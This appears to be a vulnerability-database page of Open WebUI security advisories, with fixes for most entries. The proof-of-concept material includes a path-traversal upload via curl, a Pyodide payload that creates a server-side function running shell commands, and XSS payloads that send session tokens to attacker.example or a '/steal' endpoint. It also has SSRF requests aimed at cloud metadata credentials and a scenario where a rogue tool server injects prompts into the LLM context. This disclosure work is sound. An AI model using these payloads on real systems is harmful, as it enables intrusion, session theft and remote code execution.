Where
-Infinity
0
Severity
9.8
Path Traversal, Malicious File Upload
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CONFIDENTIAL

KL-CAN-2024-002

Vulnerability Details

| # | Field | Value | |---|-------|-------| | 1 | Discoverer | Jaggar Henry & Sean Segreti of KoreLogic, Inc. | | 2 | Date Submitted | 2024.03.12 | | 3 | Title | Open WebUI Arbitrary File Upload + Path Traversal | | 5 | Affected Vendor | Open WebUI | | 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) | | 7 | Affected Version(s) | 0.1.105 | | 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) | | 9 | Vector | HTTP web interface | | 10 | CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type |

---

4. High-level Summary

Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability.

---

11. Technical Analysis

When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the /rag/api/v1/doc API route:

python @app.post("/doc") def storedoc( collectionname: Optional[str] = Form(None), file: UploadFile = File(...), user=Depends(getcurrentuser), ): # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"

print(file.contenttype) try: filename = file.filename filepath = f"{UPLOADDIR}/{filename}" contents = file.file.read() with open(filepath, "wb") as f: f.write(contents) f.close()

The file variable is a representation of the multipart form data contained within the HTTP POST request. The filename variable is derived from the uploaded file name and is not validated before writing the file contents to disk.

This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled authorizedkeys file to remotely connect to the machine.

---

12. Proof-of-Concept

Execute the following cURL command:

bash TARGETURI='https://redacted.com'; JWT='redacted'; LOCALFILE='/tmp/filetoupload.txt'\ curl -H "Authorization: Bearer $JWT" -F "file=$LOCALFILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGETURI/rag/api/v1/doc"

Verify the file pwned.txt exists in the /tmp/ directory on the machine hosting the web server:

console ollama@webserver:~$ cat /tmp/pwned.txt korelogic ollama@webserver:~$

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

LDAP Empty Password Authentication Bypass

Affected Component

LDAP authentication endpoint: - backend/openwebui/routers/auths.py (lines 468-477, user bind with empty password) - backend/openwebui/models/auths.py (lines 58-60, LdapForm model)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions with LDAP authentication support.

Description

The LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. Per RFC 4513 Section 5.1.2, a Simple Bind with a valid DN and an empty password constitutes an "unauthenticated simple authentication" — many LDAP servers (including OpenLDAP in default configuration and some Active Directory setups) return success (resultCode 0) for this operation.

The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user.

python models/auths.py:58-60 — no minlength on password class LdapForm(BaseModel): user: str password: str

auths.py:469-477 — empty password reaches LDAP bind connectionuser = Connection( server, userdn, formdata.password, # can be "" autobind='NONE', authentication='SIMPLE', ) if not await asyncio.tothread(connectionuser.bind): raise HTTPException(400, 'Authentication failed.')

If bind succeeds (which it does with empty password on many servers), execution continues and a full session token is issued

CVSS 3.1 Breakdown

| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via the LDAP login endpoint | | Attack Complexity | Low (L) | Single request with an empty password field | | Privileges Required | None (N) | No prior authentication needed | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact within the application's authentication boundary | | Confidentiality | High (H) | Full access to victim's account data — chats, files, API keys, settings | | Integrity | High (H) | Can modify victim's data, settings, send messages as victim | | Availability | None (N) | No direct denial of service |

Attack Scenario

1. LDAP authentication is enabled on the Open WebUI instance. 2. The underlying LDAP server accepts unauthenticated simple binds (OpenLDAP default, some AD configs). 3. Attacker sends: POST /api/v1/auths/ldap {"user": "adminusername", "password": ""} 4. The app DN bind succeeds normally (line 366), finds the target user via LDAP search. 5. The user bind (line 469-477) sends a Simple Bind with the target's DN and an empty password. 6. The LDAP server returns success for the unauthenticated bind. 7. authenticateuserbyemail (line 507) issues a full session token for the target user. 8. Attacker has complete access to the victim's account.

Impact

- Complete authentication bypass — any LDAP user account can be taken over without knowing the password - Includes admin accounts if they authenticate via LDAP - No rate limiting on the LDAP endpoint (unlike the password signin endpoint) - Zero interaction required from the victim

Preconditions

- LDAP must be enabled (ENABLELDAP=True, disabled by default) - The LDAP server must accept unauthenticated simple binds with empty passwords (OpenLDAP default behavior, configurable on AD) - Attacker must know a valid LDAP username

1 / 2
Source: GitHub
First published (updated )
Severity
9
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Title: Same-origin Pyodide code execution allows server-side RCE via a shared chat

Summary

Open WebUI runs client-side Python (Pyodide) in a same-origin web worker. Through Pyodide's JavaScript API (pyodide.http.pyfetch, or the js module which exposes the page's fetch / XMLHttpRequest) executed Python can issue requests on the application origin, and those requests carry the victim's session cookie. A low-privileged user can store such a payload in a chat message, share the chat, and when a victim opens it and clicks Run the payload executes authenticated same-origin requests as the victim. When the victim is an admin (or a user holding workspace.functions / workspace.tools permissions) the payload creates a Function/Tool whose body runs server-side, yielding remote code execution.

Details

Pyodide's js bridge gives Python in the worker the same reach as inline JavaScript on the origin, and the worker is same-origin, so a credentialed request to the app's own API is authenticated as the victim. No separate XSS sink is required: storing the payload in a shared chat and having the victim run it is enough.

python from pyodide.http import pyfetch import json await pyfetch('/api/v1/functions/create', method='POST', credentials='include', headers={'Content-Type': 'application/json'}, body=json.dumps({'id': 'x', 'name': 'x', 'meta': {'description': 'x'}, 'content': "import os; os.system('<attacker command>')"}))

Impact

When the victim runs the shared code, an authenticated low-privileged user achieves remote code execution on the server (the created Function/Tool runs server-side Python) if the victim is an admin or holds workspace.functions / workspace.tools permissions. More generally the executed code can issue any authenticated request as the victim. Requires the victim to click Run, and Open WebUI configured to use Pyodide.

Patched

Pyodide now runs in a sandboxed iframe at an opaque origin by default (sandbox="allow-scripts", no allow-same-origin). At an opaque origin pyfetch, fetch and XMLHttpRequest to the app become cross-origin requests that carry no session cookie and are CORS-blocked, and the js bridge operates on the isolated iframe window with no access to the parent's cookie, token, localStorage or DOM. Full Python, JavaScript and external fetch keep working. IDBFS persistence is available only behind ENABLEPYODIDEFILEPERSISTENCE=true, which restores the same-origin worker and re-accepts this risk.

Workaround

Until upgraded, disable Pyodide code execution or set the Code Execution / Code Interpreter engine to a server-side option.

Credits

@gg0h

1 / 2
Source: GitHub
First published (updated )
Severity
9
Code Injection, Infoleak
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

An authenticated low-privilege user can execute arbitrary code-interpreter Python and tools inside another user's authenticated session. The Socket.IO event-caller (geteventcall) delivers execute:python / execute:tool events to a client-supplied sessionid after only checking that the session is connected, never that it belongs to the requester. Combined with ydoc:document:join, which exposes the live socket ids of everyone in a shared note's collaboration room to any read-access participant, an attacker can target a victim's session and run attacker-chosen code/tools in the victim's browser context. When the victim is an administrator, that hijacked context reaches the admin-only Functions API, whose source is executed server-side, yielding remote code execution as the server process (root in the default container).

Affected component

- backend/openwebui/socket/main.py — geteventcall() / eventcaller - backend/openwebui/main.py — chat-completion metadata (sessionid taken from the request body)

Root cause

The event-caller routes to a caller-controlled session id with no ownership check:

python backend/openwebui/socket/main.py — geteventcall() async def eventcaller(eventdata): sessionid = requestinfo['sessionid'] if sessionid not in SESSIONPOOL: # only checks the session is connected return {'error': 'Client session disconnected.'} return await sio.call('events', {...}, to=sessionid, ...) # delivered to that sid

sessionid originates from the request body and is never validated against the authenticated user:

python backend/openwebui/main.py metadata = { 'userid': user.id, # server-derived (trustworthy) 'sessionid': formdata.pop('sessionid', None), # client-controlled ... }

SESSIONPOOL[sessionid] is the user record of whoever owns that socket. Because the caller checks only membership (in SESSIONPOOL), a request carrying another user's sessionid causes execute:python / execute:tool to be delivered to that other user's browser.

Reachability

- execute:python / execute:tool are emitted from the code-interpreter and tool-call paths (utils/middleware.py, tools/builtin.py), all routed through geteventcall. - The victim's live sessionid is disclosed to any read-access participant of a shared note via ydoc:document:join. - POST /api/v1/chat/completions requires only getverifieduser (the default user role). The attacker uses their own account and a model / Direct Connection they control to choose the payload.

Impact

- Any victim: arbitrary code-interpreter Python and tool execution in the victim's authenticated session — the attacker acts with the victim's identity and origin (full session/account compromise). - Admin victim: the hijacked admin context reaches POST /api/v1/functions/create, whose source is exec()'d server-side → remote code execution as the server process (root in the default container).

The Functions API is intended administrator code-execution; the vulnerability here is the cross-user delivery that lets an attacker drive another user's session — including an admin's — into it. The primitive is a full session compromise even against non-admin victims.

Proof of Concept

The reporter's exploit.py reproduced on ghcr.io/open-webui/open-webui:0.9.6 and a build of the v0.9.6 tag, confirming blind server-side RCE out-of-band (callback returns uid=0(root)), using only a low-privilege user account that shared a note with an admin victim. Preconditions: code interpreter enabled; attacker shares a note with the victim; victim opens it while online; admin victim required for server RCE.

Fix

geteventcall must verify the target session belongs to the requesting user before delivering, not merely that it is connected:

python session = SESSIONPOOL.get(sessionid) if session is None or session.get('id') != requestinfo.get('userid'): return {'error': 'Client session disconnected.'}

userid in the request metadata is server-derived from the authenticated user, so it is trustworthy. Restricting ydoc:document:join so it does not disclose other participants' socket ids is recommended as defence-in-depth.

Affected / Patched

- Affected: < 0.10.0 (last affected release 0.9.6) - Patched: v0.10.0. geteventcall now verifies the target session belongs to the requesting user before delivering (session is None or session.get('id') != requestinfo.get('userid')), using the server-derived userid from the request metadata. The recommended ydoc:document:join sid-disclosure restriction is defence-in-depth and independent of this fix; the ownership check closes the cross-user delivery regardless of whether the victim's sid is known.

1 / 2
Source: GitHub
First published (updated )
Severity
9
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

open-webui before 0.3.14 contains a cross-origin resource sharing misconfiguration allowing arbitrary origins with alloworigins= and authenticated requests to the /api/v1/functions endpoint. Attackers can execute arbitrary code on the openwebui instance by crafting malicious cross-site requests from attacker-controlled websites when an admin user visits them.

First published (updated )
Severity
8.8
Code Injection, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Open WebUI loadtoolmodulebyid Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability.

The specific flaw exists within the loadtoolmodulebyid function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28257.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
OS Command Injection, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Open WebUI PIP installfrontmatterrequirements Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability.

The specific flaw exists within the installfrontmatterrequirements function.The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28258.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLECODEEXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes.

Details

The admin configuration correctly shows ENABLECODEEXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.

PoC

Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.

Setup: Jupyter server connected, ENABLECODEEXECUTION=false confirmed in admin config.

bash Step 1: Verify code execution is disabled curl -s http://target:8080/api/v1/configs/codeexecution \ -H "Authorization: Bearer $TOKEN" Returns: {"ENABLECODEEXECUTION": false, ...}

Step 2: Execute code anyway — gate bypassed curl -s -X POST http://target:8080/api/v1/utils/code/execute \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"code":"import os; print(os.popen(\"id\").read())"}'

Verified output:

Config: {"ENABLECODEEXECUTION":false,"CODEEXECUTIONENGINE":"jupyter",...}

executestatus=200 executebody={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""}

The PoC read the internal secret service content via Jupyter — despite ENABLECODEEXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.

Impact

Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:

- Arbitrary code execution in the Jupyter container (read files, spawn processes) - Network access to all internal Docker services from the Jupyter container - Data exfiltration from internal services - The admin's security configuration (ENABLECODEEXECUTION=false) is silently ineffective - Users who are told "code execution is disabled" have a false sense of security

Resolution

Fixed in commit 6d736d3c5, first released in v0.8.12. The /api/v1/utils/code/execute handler in backend/openwebui/routers/utils.py now checks request.app.state.config.ENABLECODEEXECUTION before dispatching to the Jupyter engine and returns 403 with FEATUREDISABLED('Code execution') when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on >= 0.8.12 are not affected.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.

This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.

Details

Vulnerability Location

File: src/lib/components/notes/utils.ts Function: downloadPdf() Vulnerable Code (Line 35):

typescript const contentNode = document.createElement('div');

contentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization

node.appendChild(contentNode); document.body.appendChild(node);

Root Cause

1. Incomplete TipTap Editor Configuration - Open-WebUI only uses TipTap StarterKit - No Schema definition for dangerous tags like SVG, Script - Unknown HTML tags are stored as raw HTML 2. Missing Sanitization During PDF Generation - note.data.content.html is directly assigned to innerHTML - No DOMPurify or other sanitization - Stored malicious HTML executes as-is

PoC

Environment - Open-WebUI latest version (v0.6.36) - Admin account

Step 1: Create Malicious Markdown File

Filename: tokenstealer.md

markdown <svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg> navigator.sendBeacon() was used to bypass CORS.

Step 2: Import to Notes

1. Login to Open-WebUI 2. Click "Notes" in the left menu 3. Drag and drop the Markdown file 4. Note is automatically created

Step 3: Trigger PDF Download

1. Access Notes menu (/notes) 2. Click ⋯ on the right side of the uploaded note 3. Select "Download" → "PDF document (.pdf)" 4. JavaScript executes

Step 4: Verify Token Theft

Attacker's server log: http POST /steal HTTP/1.1 Host: redacted Content-Type: text/plain;charset=UTF-8 Content-Length: 145

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ibhIG4LayFw

And Simple PoC alert(1) Filename: simplepoc.md

markdown <svg onload="alert(1)"></svg> <img width="1089" height="310" alt="image" src="https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f" />

---

Impact

CVSS 3.1 Score: 8.7 (High)

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Vulnerability Type CWE-79: Cross-site Scripting (XSS) CWE-116: Improper Encoding or Escaping of Output

Affected Users - All Open-WebUI users - Especially users utilizing the Notes feature

Attack Scenario 1. Attacker shares malicious note (.md file) in the community 2. Victim uploads the shared note (.md file) 3. Victim downloads as PDF 4. XSS vulnerability triggers 5. Victim's session (localStorage.token) is stolen

---

Recommended Patch

typescript // src/lib/components/notes/utils.ts:35 import DOMPurify from 'dompurify';

const contentNode = document.createElement('div');

// Sanitize with DOMPurify contentNode.innerHTML = DOMPurify.sanitize(html, { ALLOWEDTAGS: [ 'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead', 'tbody', 'tr', 'td', 'th' ], ALLOWEDATTR: ['href', 'class', 'target'], FORBIDTAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'], FORBIDATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'], ALLOWDATAATTR: false });

node.appendChild(contentNode);

---

References

- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html - DOMPurify: https://github.com/cure53/DOMPurify

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Redis Cache Keys toolservers and terminalservers Missing Instance Prefix Enable Cross-Instance Cache Poisoning

Affected Component

Tool server and terminal server Redis cache: - backend/openwebui/utils/tools.py (line 841, toolservers SET) - backend/openwebui/utils/tools.py (line 850, toolservers GET) - backend/openwebui/utils/tools.py (line 976, terminalservers SET) - backend/openwebui/utils/tools.py (line 986, terminalservers GET)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions since the tool server / terminal server Redis cache was introduced.

Description

Open WebUI uses a REDISKEYPREFIX (default open-webui) to namespace Redis keys, allowing multiple instances to safely share a single Redis backend. Every Redis key in the codebase uses this prefix — except the toolservers and terminalservers keys in utils/tools.py, which use bare key names.

When two or more Open WebUI instances share a Redis database (a supported and documented deployment pattern, e.g., for multi-region deployments, blue-green setups, or cluster topologies), the unprefixed keys collide. An admin on Instance A writing to toolservers overwrites the value read by Instance B — causing Instance B's users to receive Instance A's tool server configuration.

python utils/tools.py — unprefixed keys (problem) await request.app.state.redis.set('toolservers', ...) # line 841 json.loads(await request.app.state.redis.get('toolservers')) # line 850 await request.app.state.redis.set('terminalservers', ...) # line 976 json.loads(await request.app.state.redis.get('terminalservers')) # line 986

Every other Redis key in the codebase — prefixed (correct pattern) f'{REDISKEYPREFIX}:auth:token:{jti}:revoked' f'{REDISKEYPREFIX}:ratelimit:{email}:{bucket}' f'{REDISKEYPREFIX}:tasks:commands'

Attack Scenario

Two Open WebUI instances (A and B) share a Redis backend — a supported deployment for multi-region setups, blue-green deployments, or hot-standby. Both instances have their own admin accounts; the shared Redis was chosen for coordinated session handling, rate limiting, and task management.

1. Attacker is an admin on Instance A (a legitimately provisioned admin, or one that escalated via any available path including the LDAP empty-password or stale-admin-role findings). 2. Attacker on Instance A configures a tool server pointing to https://attacker-controlled.example.com/openapi.json. This triggers utils/tools.py:841 to write the new tool server list under the bare key toolservers. 3. Instance B's users query tools. Instance B reads from toolservers (line 850) — gets Instance A's poisoned list, which now includes the attacker's server alongside or instead of Instance B's legitimate tool servers. 4. Instance B's users invoke tools through the model's context. The attacker's server receives tool call payloads containing: chat content, user identity, OAuth tokens scoped to the tool server (if the user has bound their external account), and in-flight conversation context. 5. The attacker's server returns arbitrary tool responses, which are fed back into Instance B's LLM context as "trusted tool output" — enabling prompt injection, misinformation delivery, and further data exfiltration cascades.

The same cross-instance poisoning applies to terminalservers.

Impact

- Cross-instance cache poisoning: an admin on one instance affects all users of another instance sharing the Redis backend - Data exfiltration: tool call payloads contain chat content and user identity, delivered to the attacker's server - Prompt injection delivery: attacker-returned tool responses enter the victim instance's LLM context as trusted data - Undermines the multi-instance isolation guarantee that REDISKEYPREFIX was introduced to provide - Silent failure mode: no error is raised; the victim instance sees a valid, signed cache entry and has no way to detect it came from a different instance

Preconditions

- Multiple Open WebUI instances share a single Redis backend (a supported and documented deployment) - Attacker has admin access on one of the instances (or escalates to admin via any available path)

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS, Input Validation
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Summary Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheettohtml to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger.

Details The function used to convert XLSX documents to HTML for preview does not perform any input validation or sanitisation for the generated HTML https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L120-L133 XLSX attachments are processed by this function, converted to HTML with XLSX.utils.sheettohtml before ultimately being assigned to the variable excelHtml. Later there is logic that causes this to be assigned directly to the DOM when the preview tab is selected. https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L358-L400

PoC A python script to generate a payload file is as follows: python import xlsxwriter payload = '<img src=x onerror="alert(\'XSS Triggered by XLSX file\')">' workbook = xlsxwriter.Workbook('xsspayload.xlsx') worksheet = workbook.addworksheet() payloadformat = workbook.addformat() worksheet.writerichstring('A1', 'This cell contains a hidden payload: ', payloadformat, payload ) worksheet.write('A2', 'This is a safe cell.') worksheet.write('B1', 'Column B') workbook.close()

Upload the generated file as an attachment to a chat, open the file modal, and click preview. Observe the XSS triggers. <img width="2444" height="1386" alt="image" src="https://github.com/user-attachments/assets/8400efb0-ea6f-4878-abdb-4c2fe529241f" /> This same process can be triggered in shared chats, allowing the payload to be distributed to victims. <img width="2386" height="1646" alt="image" src="https://github.com/user-attachments/assets/d0eda49c-8fcf-4fc4-bbb0-c8951b0369c3" />

Impact Any user can create a weaponised chat that can be shared and subsequently used to target other users.

Low privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server.

Admins are at risk of exposing the server to RCE via same chain described in GHSA-w7xj-8fx7-wfch.

Caveats The file attachment in the shared chat must be opened and previewed to trigger the vulnerability.

Recommendation Sanitise the generated HTML with DOMPurify before assigning it to the DOM.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS, Malicious File Upload
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHEDIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details Verified on main @ 8dae237a (v0.9.2): - backend/openwebui/routers/audio.py:1244-1249 — ext = safename.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No allowlist, no cross-check against file.contenttype. - backend/openwebui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(filepath). Starlette derives Content-Type from the filename extension and sets no Content-Disposition. - backend/openwebui/utils/misc.py:889-921 — strictmatchmimetype defaults to ['audio/', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body. - backend/openwebui/config.py:1482 — USERPERMISSIONSCHATSTT defaults to True. - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin. - backend/openwebui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False. PoC Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. python import struct, httpx

data = b'\x80' 44100 wav = struct.pack('<4sI4s4sIHHIIHH4sI', b'RIFF', 36 + len(data), b'WAVE', b'fmt ', 16, 1, 1, 44100, 44100, 1, 8, b'data', len(data)) + data payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>' r = httpx.post( 'https://VICTIM/api/v1/audio/transcriptions', headers={'Authorization': f'Bearer {ATTACKERJWT}'}, files={'file': ('pwn.html', payload, 'audio/wav')}, ) fn = r.json()['filename'] # '<uuid>.html' #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie. Workaround: set USERPERMISSIONSCHATSTT=False to revoke the upload right from non-admins.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

Open WebUI renders Mermaid blocks from Markdown files in the file preview panel and inserts the generated SVG into the DOM using innerHTML.

Because Mermaid is configured with securityLevel: 'loose', attacker-controlled Mermaid content can be rendered unsafely in this flow. A working payload was validated through the Markdown preview path, resulting in JavaScript execution in the victim’s browser under the application origin.

This is a confirmed stored XSS vulnerability reachable through normal product functionality.

Affected Version

- main - Reproduced on v0.8.12

Affected Code

Mermaid is initialized in permissive mode:

https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/src/lib/utils/index.ts#L1698 The file preview path renders Mermaid output and injects the returned SVG into the DOM:

https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/src/lib/components/chat/FileNav/FilePreview.svelte#L133

Impact

A successful exploit allows JavaScript execution in the victim’s browser under the Open WebUI origin when a malicious Markdown file is opened in the preview panel.

PoC

A malicious .md file containing the follwowing contents can be used to trigger the bug: mermaid flowchart LR A[click me] click A href "javascript:alert(document.domain)" "x" Steps to reproduce: 1- Create a new chat 2- Enable Code Interpreter and browse and upload the file with .md extension. <img width="331" height="258" alt="image" src="https://github.com/user-attachments/assets/bce2b754-56d1-4da1-90a9-22bcb93269f2" /> 3- Clicking on the file, and clicking click me should pop an alert <img width="1103" height="485" alt="image" src="https://github.com/user-attachments/assets/18754486-799b-434e-a2fc-dd7c09956a29" />

Remediation

Since mermaid has DOMPurify as a built-in, it is recommended to use the strict mode instead of loose.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.

Details The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/openwebui/routers/retrieval.py at lines 1758-1767.

Vulnerable code: @router.post("/process/web") def processweb( request: Request, formdata: ProcessUrlForm, user=Depends(getverifieduser) ): try: collectionname = formdata.collectionname if not collectionname: collectionname = calculatesha256string(formdata.url)[:63]

content, docs = getcontentfromurl(request, formdata.url) # ← SSRF vulnerability

The formdata.url parameter is passed directly to getcontentfromurl() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

Call chain: 1. retrieval.py:1767 → getcontentfromurl(request, formdata.url) 2. retrieval/utils.py:77 → getloader(request, url) 3. retrieval/utils.py:62 → getwebloader(url, ...) or YoutubeLoader(url, ...) 4. Both loaders fetch the user-supplied URL without validation

No validation is performed for: - Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - Localhost addresses (127.0.0.0/8) - Cloud metadata endpoints (169.254.169.254, fd00:ec2::254) - Protocol restrictions (file://, gopher://, etc.) - Domain allowlisting

PoC Prerequisites: Valid user account (any role)

Step 1 - Authenticate: TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin" \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 2 - Basic SSRF Test (external URL): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://example.com"}'

Result: Server fetches example.com and returns its content, proving the vulnerability.

{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }

Step 3 - Advanced Attack (AWS metadata): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples: - Internal network: {"url":"http://192.168.1.1"} - Localhost services: {"url":"http://localhost:5432"} - Internal APIs: {"url":"http://internal-api.local"}

Impact Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

1. Cloud Environment Compromise - Steal AWS/GCP/Azure credentials via metadata endpoints - Result: Full cloud account takeover 2. Internal Network Access - Bypass firewalls to access internal services (databases, admin panels, APIs) - Port scan and map internal infrastructure - Result: Complete network visibility 3. Data Exfiltration - Read internal documentation, configurations, secrets - Access Kubernetes API servers - Result: Credential theft, API key exposure

1 / 2
Source: GitHub
